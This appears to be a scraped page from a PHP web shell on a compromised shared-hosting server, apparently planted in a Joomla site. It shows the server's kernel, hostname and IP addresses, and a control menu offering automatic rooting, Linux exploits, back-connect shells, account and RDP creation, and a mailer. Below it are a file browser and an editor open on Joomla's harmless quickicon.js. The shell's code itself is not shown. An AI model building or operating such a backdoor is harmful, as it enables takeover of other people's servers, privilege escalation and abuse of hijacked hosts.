Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
zenit /
media /
mod_quickicon /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
quickicon-es5.js
2.07
KB
-rw----r--
quickicon-es5.min.js
814
B
-rw----r--
quickicon-es5.min.js.gz
452
B
-rw----r--
quickicon.js
1.9
KB
-rw----r--
quickicon.min.js
772
B
-rw----r--
quickicon.min.js.gz
436
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quickicon.js
/** * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Every quickicon with an ajax request url loads data and set them into the counter element * Also the data name is set as singular or plural. * A SR-only text is added * The class pulse gets 'warning', 'success' or 'error', depending on the retrieved data. */ if (!Joomla) { throw new Error('Joomla API was not properly initialized'); } Array.from(document.querySelectorAll('.quickicon')).forEach(quickicon => { const counter = quickicon.querySelector('.quickicon-amount'); if (!counter) { return; } if (counter.dataset.url) { Joomla.request({ url: counter.dataset.url, method: 'GET', onSuccess: resp => { let response; try { response = JSON.parse(resp); } catch (error) { quickicon.classList.add('error'); } if (Object.prototype.hasOwnProperty.call(response, 'data')) { const name = quickicon.querySelector('.quickicon-name'); const nameSpan = document.createElement('span'); quickicon.classList.add(response.data > 0 ? 'warning' : 'success'); // Set name in singular or plural if (response.data.name && name) { nameSpan.textContent = response.data.name; name.replaceChild(nameSpan, name.firstChild); } // Set amount of number into counter span counter.textContent = `\u200E${response.data.amount}`; // Insert screenreader text const sronly = quickicon.querySelector('.quickicon-sr-desc'); if (response.data.sronly && sronly) { sronly.textContent = response.data.sronly; } } else { quickicon.classList.add('error'); } }, onError: () => { quickicon.classList.add('error'); } }); } });
Close